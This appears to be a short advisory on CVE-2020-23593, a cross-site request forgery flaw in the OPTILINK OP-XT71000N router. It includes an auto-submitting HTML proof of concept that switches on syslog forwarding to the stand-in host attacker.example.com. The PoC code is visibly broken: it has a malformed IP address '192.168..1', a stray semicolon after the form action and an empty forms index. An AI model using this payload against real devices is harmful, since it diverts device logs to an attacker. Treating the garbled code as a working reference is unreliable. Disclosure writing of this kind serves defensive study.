A critical vulnerability (CVE-2020-23593) has been discovered in OPTILINK OP-XT71000N hardware version V2.2, firmware version OP_V3.3.1-191028, which allows an unauthenticated remote attacker to conduct a Cross-Site Request Forgery (CSRF) attack, leading to the enabling of syslog mode through the '/mgm_log_cfg.asp' page. This vulnerability exposes the affected devices to potential unauthorized access and modification of the affected device's log events.

Exploit Details

The exploit targets the '/mgm_log_cfg.asp' page, which does not properly validate user input, allowing an attacker to conduct a CSRF attack. When the syslog mode is enabled, the system starts logging events, and if the mode is set to 'Remote' or 'Both,' it sends logs to a remote syslog server IP and port specified by the attacker.

Here's an example of a malicious HTML code snippet an attacker could use to exploit this vulnerability:

<!DOCTYPE html>
<html>
  <body>
    <form action="http://192.168..1/mgm_log_cfg.asp"; method="POST">
      <input type="hidden" name="log_mode" value="Both" />
      <input type="hidden" name="server_ip" value="attacker.example.com" />
      <input type="hidden" name="server_port" value="514" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      document.forms[].submit();
    </script>
  </body>
</html>

To protect against this vulnerability, it's essential to follow the recommended best practices for software development, including proper input validation and the use of security headers.

For more information about this vulnerability, please refer to the following resources

1. OPTILINK Official Website: https://www.optilinknetworks.com
2. CVE Details Page: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-23593
3. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2020-23593

Conclusion

It's essential to be aware of the potential vulnerabilities in the systems we use daily and to take the necessary precautions to protect our data and privacy. The discovery and disclosure of CVE-2020-23593 in OPTILINK OP-XT71000N firmware highlight the importance of constant vigilance and adherence to best practices in software development. By staying informed and taking the proper steps to secure our systems, we can minimize the risk of falling victim to cyberattacks.

Timeline

Published on: 11/23/2022 01:15:00 UTC
Last modified on: 11/23/2022 20:23:00 UTC